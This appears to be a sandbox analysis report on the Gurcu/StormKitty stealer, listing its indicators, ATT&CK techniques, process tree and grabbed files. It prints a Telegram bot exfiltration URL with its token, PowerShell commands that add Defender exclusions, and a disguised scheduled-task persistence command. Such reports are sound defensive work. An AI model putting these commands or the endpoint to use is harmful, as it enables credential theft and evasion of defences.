gurcu | 150704149f7e54c4f7cbdb776f33173979791bc0c625f42477815923d13f8712

Analysis

max time kernel
46s
max time network
48s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
19-08-2024 09:34

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Reason

Machine shutdown

Report Analysis Logs

General

Target

150704149f7e54c4f7cbdb776f33173979791bc0c625f42477815923d13f8712.exe
Size

227KB
MD5

1a83a244d9e90a4865aac14bc0e27052
SHA1

d2b65e7aed7657c9915f90f03d46902087479753
SHA256

150704149f7e54c4f7cbdb776f33173979791bc0c625f42477815923d13f8712
SHA512

f4b9d26d8a0841f9425abf038f85563ddee65e2404bc508fd23c8023bb565fd7f0ceaeaadde49c4951d3bbbb93f6b64b3cf610464855a2bf2d418477dd4fe03f
SSDEEP

6144:YzJS6VlWn4bk0+GIKSppY6sdeZywNeGC4xIAY9F:YzdVlHbk0X5SpppMVwfI

Score

10^/10

gurcu stormkitty collection credential_access discovery execution persistence privilege_escalation spyware stealer

Malware Config

Extracted

Family

gurcu

https://api.telegram.org/bot7375773294:AAFZUnpXCxGuVizu2hOj5WMYl9ULnbeqZ6c/sendDocument?chat_id=5947406001&caption=====%20RL%20STEALER%20====%20%0A%E2%8F%B0%20Date%20=%3E%2008/19/2024%209:34%0A%F0%9F%92%BBSystem%20=%3E%20Windows%2010%20Pro%20(64%20Bit)%0A%F0%9F%91%A4%20User%20=%3E%20Admin%0A%F0%9F%86%94%20PC%20=%3E%20KZYBFHMK%0A%F0%9F%8F%B4%20Country%20=%3E%20[United%20Kingdom]%0A%F0%9F%94%8D%20IP%20=%3E%20194.110.13.70%0A%F0%9F%93%9D%20Language%20=%3E%20%F0%9F%87%BA%F0%9F%87%B8%20en-US%0A%F0%9F%94%93%20Antivirus%20=%3E%20Not%20installed%0A%20====%7B%20User%20Data%20%7D====%0A%F0%9F%93%82%20FileGrabber%20=%3E%2016%0A%F0%9F%93%A6%20Telegram%20=%3E%20%E2%9D%8C%0A%F0%9F%92%B8%20Wallets%20=%3E%20%E2%9D%8C%0A%F0%9F%92%AC%20Discord%20=%3E%20%E2%9D%8C%0A%F0%9F%93%A1%20FileZilla:%20%E2%9D%8C%0A%20VimeWorld%20=%3E%20%E2%9D%8C%0A%20====%7B%20VPN%20%7D====%0A%20%E2%88%9F%20NordVPN%20=%3E%20%E2%9D%8C%0A%20%E2%88%9F%20OpenVPN%20=%3E%20%E2%9D%8C%0A%20%E2%88%9F%20ProtonVPN%20=%3E%20%E2%9D%8C%0A%20====%7B%20Browsers%20Data%20%7D====%0A%F0%9F%97%9D%20Passwords%20=%3E%200%0A%F0%9F%95%91%20History%20=%3E%200%0A%F0%9F%8D%AA%20Cookies%20=%3E%200%0A%F0%9F%93%9D%20AutoFills%20=%3E%200%0A%F0%9F%92%B3%20CC%20=%3E%200%0A%20====%7B%20Gaming%20%7D====%0A%20%F0%9F%8E%AE%20Steam%20=%3E%20%E2%9D%8C%0A%20==================%0A%20DOMAINS%20DETECTED:%0A%20-%2

Signatures

Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

Processes:

Client.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\System32\\userinit.exe,C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\Sub\\Client.exe"	Client.exe

StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 2 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\zzzz.exe	family_stormkitty
behavioral2/memory/4580-64-0x0000000000710000-0x0000000000766000-memory.dmp	family_stormkitty

Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

3216 powershell.exe
1536 powershell.exe
Event Triggered Execution: AppInit DLLs 1 TTPs
Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.
persistence privilege_escalation

AppInit DLLs
T1546.010

pid	process
3216	powershell.exe
1536	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

150704149f7e54c4f7cbdb776f33173979791bc0c625f42477815923d13f8712.exeClient.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation	150704149f7e54c4f7cbdb776f33173979791bc0c625f42477815923d13f8712.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation	Client.exe

Executes dropped EXE 3 IoCs

Processes:

Client.exeLauncher.exezzzz.exe

pid process

1400 Client.exe
1472 Launcher.exe
4580 zzzz.exe
Loads dropped DLL 7 IoCs

Processes:

WmiApSrv.exeshutdown.exeLogonUI.exe

pid process

2844
3532 WmiApSrv.exe
5084
3192
1760
2140 shutdown.exe
2256 LogonUI.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

pid	process
1400	Client.exe
1472	Launcher.exe
4580	zzzz.exe

pid	process
2844
3532	WmiApSrv.exe
5084
3192
1760
2140	shutdown.exe
2256	LogonUI.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

zzzz.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	zzzz.exe
Key opened	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	zzzz.exe
Key opened	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	zzzz.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

Client.exe150704149f7e54c4f7cbdb776f33173979791bc0c625f42477815923d13f8712.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\Sub\\WatchDog.exe"	Client.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Client = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Client.exe"	150704149f7e54c4f7cbdb776f33173979791bc0c625f42477815923d13f8712.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\zzzz = "C:\\Users\\Admin\\AppData\\Local\\Temp\\zzzz.exe"	150704149f7e54c4f7cbdb776f33173979791bc0c625f42477815923d13f8712.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops desktop.ini file(s) 3 IoCs

Processes:

zzzz.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\KZYBFHMK\FileGrabber\Desktop\desktop.ini	zzzz.exe
File created	C:\Users\Admin\AppData\Local\KZYBFHMK\FileGrabber\Downloads\desktop.ini	zzzz.exe
File created	C:\Users\Admin\AppData\Local\KZYBFHMK\FileGrabber\Pictures\desktop.ini	zzzz.exe

Looks up external IP address via web service 5 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

27 freegeoip.app
29 freegeoip.app
49 api.ipify.org
51 api.ipify.org
52 ip-api.com
Drops file in Windows directory 1 IoCs

Processes:

Client.exe

description ioc process

File created C:\Windows\xdwd.dll Client.exe
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
discovery

System Language Discovery
T1614.001

Processes:

zzzz.exe

description ioc process

Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language zzzz.exe

flow	ioc
27	freegeoip.app
29	freegeoip.app
49	api.ipify.org
51	api.ipify.org
52	ip-api.com

description	ioc	process
File created	C:\Windows\xdwd.dll	Client.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zzzz.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

zzzz.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	zzzz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	zzzz.exe

Modifies data under HKEY_USERS 15 IoCs

Processes:

LogonUI.exe

description	ioc	process
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "103"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe

Modifies registry class 20 IoCs

Processes:

Launcher.exe

description	ioc	process
Set value (data)	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	Launcher.exe
Key created	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	Launcher.exe
Key created	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	Launcher.exe
Key created	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	Launcher.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f50e04fd020ea3a6910a2d808002b30309d0000	Launcher.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	Launcher.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 14002e80922b16d365937a46956b92703aca08af0000	Launcher.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\NodeSlot = "1"	Launcher.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = ffffffff	Launcher.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Launcher.exe
Key created	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	Launcher.exe
Key created	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	Launcher.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	Launcher.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Documents"	Launcher.exe
Key created	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000_Classes\Local Settings	Launcher.exe
Key created	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	Launcher.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff	Launcher.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	Launcher.exe
Key created	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	Launcher.exe
Key created	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	Launcher.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exe

pid process

4864 schtasks.exe

pid	process
4864	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exezzzz.exeClient.exe

pid	process
1536	powershell.exe
1536	powershell.exe
3216	powershell.exe
3216	powershell.exe
4580	zzzz.exe
4580	zzzz.exe
4580	zzzz.exe
4580	zzzz.exe
4580	zzzz.exe
4580	zzzz.exe
4580	zzzz.exe
4580	zzzz.exe
4580	zzzz.exe
4580	zzzz.exe
4580	zzzz.exe
4580	zzzz.exe
4580	zzzz.exe
4580	zzzz.exe
4580	zzzz.exe
4580	zzzz.exe
4580	zzzz.exe
4580	zzzz.exe
4580	zzzz.exe
4580	zzzz.exe
4580	zzzz.exe
4580	zzzz.exe
4580	zzzz.exe
4580	zzzz.exe
4580	zzzz.exe
4580	zzzz.exe
4580	zzzz.exe
4580	zzzz.exe
1400	Client.exe
1400	Client.exe
1400	Client.exe
1400	Client.exe
1400	Client.exe
1400	Client.exe
1400	Client.exe
1400	Client.exe
1400	Client.exe
1400	Client.exe
1400	Client.exe
1400	Client.exe
1400	Client.exe
1400	Client.exe
1400	Client.exe
1400	Client.exe
1400	Client.exe
1400	Client.exe
1400	Client.exe
1400	Client.exe
1400	Client.exe
1400	Client.exe
1400	Client.exe
1400	Client.exe
1400	Client.exe
1400	Client.exe
1400	Client.exe
1400	Client.exe
1400	Client.exe
1400	Client.exe
1400	Client.exe
1400	Client.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exeClient.exepowershell.exezzzz.exeshutdown.exe

description	pid	process
Token: SeDebugPrivilege	1536	powershell.exe
Token: SeDebugPrivilege	1400	Client.exe
Token: SeDebugPrivilege	3216	powershell.exe
Token: SeDebugPrivilege	4580	zzzz.exe
Token: SeShutdownPrivilege	2140	shutdown.exe
Token: SeRemoteShutdownPrivilege	2140	shutdown.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

Launcher.exeLogonUI.exe

pid process

1472 Launcher.exe
2256 LogonUI.exe

pid	process
1472	Launcher.exe
2256	LogonUI.exe

Suspicious use of WriteProcessMemory 19 IoCs

Processes:

150704149f7e54c4f7cbdb776f33173979791bc0c625f42477815923d13f8712.exeClient.exeCMD.execmd.exe

description	pid	process	target process
PID 3456 wrote to memory of 1536	3456	150704149f7e54c4f7cbdb776f33173979791bc0c625f42477815923d13f8712.exe	powershell.exe
PID 3456 wrote to memory of 1536	3456	150704149f7e54c4f7cbdb776f33173979791bc0c625f42477815923d13f8712.exe	powershell.exe
PID 3456 wrote to memory of 1400	3456	150704149f7e54c4f7cbdb776f33173979791bc0c625f42477815923d13f8712.exe	Client.exe
PID 3456 wrote to memory of 1400	3456	150704149f7e54c4f7cbdb776f33173979791bc0c625f42477815923d13f8712.exe	Client.exe
PID 3456 wrote to memory of 1472	3456	150704149f7e54c4f7cbdb776f33173979791bc0c625f42477815923d13f8712.exe	Launcher.exe
PID 3456 wrote to memory of 1472	3456	150704149f7e54c4f7cbdb776f33173979791bc0c625f42477815923d13f8712.exe	Launcher.exe
PID 3456 wrote to memory of 3216	3456	150704149f7e54c4f7cbdb776f33173979791bc0c625f42477815923d13f8712.exe	powershell.exe
PID 3456 wrote to memory of 3216	3456	150704149f7e54c4f7cbdb776f33173979791bc0c625f42477815923d13f8712.exe	powershell.exe
PID 3456 wrote to memory of 4580	3456	150704149f7e54c4f7cbdb776f33173979791bc0c625f42477815923d13f8712.exe	zzzz.exe
PID 3456 wrote to memory of 4580	3456	150704149f7e54c4f7cbdb776f33173979791bc0c625f42477815923d13f8712.exe	zzzz.exe
PID 3456 wrote to memory of 4580	3456	150704149f7e54c4f7cbdb776f33173979791bc0c625f42477815923d13f8712.exe	zzzz.exe
PID 1400 wrote to memory of 4956	1400	Client.exe	CMD.exe
PID 1400 wrote to memory of 4956	1400	Client.exe	CMD.exe
PID 4956 wrote to memory of 4864	4956	CMD.exe	schtasks.exe
PID 4956 wrote to memory of 4864	4956	CMD.exe	schtasks.exe
PID 1400 wrote to memory of 3024	1400	Client.exe	cmd.exe
PID 1400 wrote to memory of 3024	1400	Client.exe	cmd.exe
PID 3024 wrote to memory of 2140	3024	cmd.exe	shutdown.exe
PID 3024 wrote to memory of 2140	3024	cmd.exe	shutdown.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

Processes:

zzzz.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	zzzz.exe

outlook_win_path 1 IoCs

Processes:

zzzz.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	zzzz.exe

C:\Users\Admin\AppData\Local\Temp\150704149f7e54c4f7cbdb776f33173979791bc0c625f42477815923d13f8712.exe
"C:\Users\Admin\AppData\Local\Temp\150704149f7e54c4f7cbdb776f33173979791bc0c625f42477815923d13f8712.exe"
1⤵
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:3456
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Client.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1536
- C:\Users\Admin\AppData\Local\Temp\Client.exe
  "C:\Users\Admin\AppData\Local\Temp\Client.exe"
  2⤵
  - Modifies WinLogon for persistence
  - Checks computer location settings
  - Executes dropped EXE
  - Adds Run key to start application
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1400
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /C SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4956
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4864
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c Shutdown /s /f /t 00
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3024
  - - C:\Windows\system32\shutdown.exe
      Shutdown /s /f /t 00
      4⤵
      Loads dropped DLL
      Suspicious use of AdjustPrivilegeToken
      PID:2140
- C:\Users\Admin\AppData\Local\Temp\Launcher.exe
  "C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
  2⤵
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious use of SetWindowsHookEx
  PID:1472
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\zzzz.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3216
- C:\Users\Admin\AppData\Local\Temp\zzzz.exe
  "C:\Users\Admin\AppData\Local\Temp\zzzz.exe"
  2⤵
  - Executes dropped EXE
  - Accesses Microsoft Outlook profiles
  - Drops desktop.ini file(s)
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - outlook_office_path
  - outlook_win_path
  PID:4580

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
- Loads dropped DLL
PID:3532

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa396f055 /state1:0x41c64e6d
1⤵
- Loads dropped DLL
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:2256

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Event Triggered Execution

T1546

AppInit DLLs

T1546.010

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Event Triggered Execution

T1546

AppInit DLLs

T1546.010

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\KZYBFHMK\Browsers\Firefox\Bookmarks.txt

Filesize
105B

MD5
2e9d094dda5cdc3ce6519f75943a4ff4

SHA1
5d989b4ac8b699781681fe75ed9ef98191a5096c

SHA256
c84c98bbf5e0ef9c8d0708b5d60c5bb656b7d6be5135d7f7a8d25557e08cf142

SHA512
d1f7eed00959e902bdb2125b91721460d3ff99f3bdfc1f2a343d4f58e8d4e5e5a06c0c6cdc0379211c94510f7c00d7a8b34fa7d0ca0c3d54cbbe878f1e9812b7

Download Submit
C:\Users\Admin\AppData\Local\KZYBFHMK\FileGrabber\Desktop\FormatConvertFrom.sql

Filesize
152KB

MD5
bbec44e20e74da056d4a2cc3997d3601

SHA1
5eb6ceac55e24bbed4f804cef4d88ab60a8c8a29

SHA256
57ad403324144117e963337307585d3325384276bd52bc23cb243155286ca6fb

SHA512
3ba67dba01485e9ca2a82b902a4814d19184c17e1b00fea10572abc91f02ed693f97c8b12754f990c81516f57f549e5263cf792c44e8340bbd4d7ce5a949d5fe

Download Submit
C:\Users\Admin\AppData\Local\KZYBFHMK\FileGrabber\Desktop\MountSuspend.png

Filesize
339KB

MD5
04a4c97f428c38b4efb5703e9f4022f6

SHA1
301e448da9b3b06867794812f119f894ba6d2d9e

SHA256
90d47c2f2176f846e33aa46c99891acd6c808b0d8ae0f2f454fcc3ceb905c9d2

SHA512
c0e0780dc0a45eb167b4548e6449077be7ad57c3745529d5ffa1cc8715c9431035bf8ce59c389eb2df4302a554e0ccde5b807dd23241c8c3c7e645ee346cf1ae

Download Submit
C:\Users\Admin\AppData\Local\KZYBFHMK\FileGrabber\Desktop\OpenLock.rtf

Filesize
309KB

MD5
f61b3fd1e1d2359049371cd78692eb27

SHA1
502a3940dd4ca04e928bc1b986493ce193a6382c

SHA256
3470e59333167f29421b735c230f807750f50ef25b4be443925a8d4007def4f3

SHA512
95bfef25226b2dea072414c63fcd2f45b3d0e76f4e51decd997e7e02570dbdd42232e4ba9e08e11f7f7f97418aa848349eecf6fa64ec96f33163ffd6d6590a0e

Download Submit
C:\Users\Admin\AppData\Local\KZYBFHMK\FileGrabber\Documents\AddResize.doc

Filesize
1.2MB

MD5
9aef6c21155a18bd0aee44eba3a44bf3

SHA1
5ba1015cdc41c45b562130b10dcc53b41b18b5b6

SHA256
25ead38ba79031bc7599a620d883d10b154d417c43aad1bedc5a703359892e70

SHA512
b55f53ca131896ac2f3e1f233d2200485c291bbdfa9a567ba53100bdb294faed62795eb2cb4a4fb46404bfd6b36975276ab09071a85de08c55a640ceb39b116e

Download Submit
C:\Users\Admin\AppData\Local\KZYBFHMK\FileGrabber\Documents\ConnectExport.ppt

Filesize
808KB

MD5
773014ad69ca5aeb45f39252b0be2816

SHA1
b08e3abdfad89b22e723cdb5ab35fd9c499fa650

SHA256
3d1fd0f4bdbe9171d6e273e3d4d572e2f66b9d7a29976353f185ec80f0aaf9a8

SHA512
26bc8d5cba34e576d565db0364bb5d4e632e9ee1748382c3b14114e74b9500d2739eafc19ea5e5343321fe0263c20c44b6eed380f3ba2bfb95670765bc461010

Download Submit
C:\Users\Admin\AppData\Local\KZYBFHMK\FileGrabber\Downloads\AssertConfirm.js

Filesize
960KB

MD5
2977a78f7892a72576f781991c3d1ad9

SHA1
7befc2f31fad2e6f48a55e836307db334c3f71b5

SHA256
6e783bdd200232ce56a7046397ce12a9e5ae31ccd7319a520cc4f3a017dd82bf

SHA512
5a8c81d9233afee80ca4e79c0143352cdaa821dcddb352125807eac60643132315b6da37836d3a2378d0aec34a37dde83bcf040d21e244b65ef2e84cc2a9ebd6

Download Submit
C:\Users\Admin\AppData\Local\KZYBFHMK\FileGrabber\Downloads\EnterResume.html

Filesize
1.3MB

MD5
a086b5118449c28ff7796ab51f95fd84

SHA1
e3ed9706534c0f006420e16e17caa5cdc2eb203e

SHA256
5bc1dd84218b62cd293214b44f643d35cad67d6ef94eef38eeff9627334b0b42

SHA512
1fdcf755e33e33fb9586f61d2cc2144423e1297d2f6180efabe271531234484ff16c4bcd7d7978bbde3656ddece28ce1c65b1c1de7c5fe5e6d0ace0b0ff9a819

Download Submit
C:\Users\Admin\AppData\Local\KZYBFHMK\FileGrabber\Pictures\AddUndo.svg

Filesize
625KB

MD5
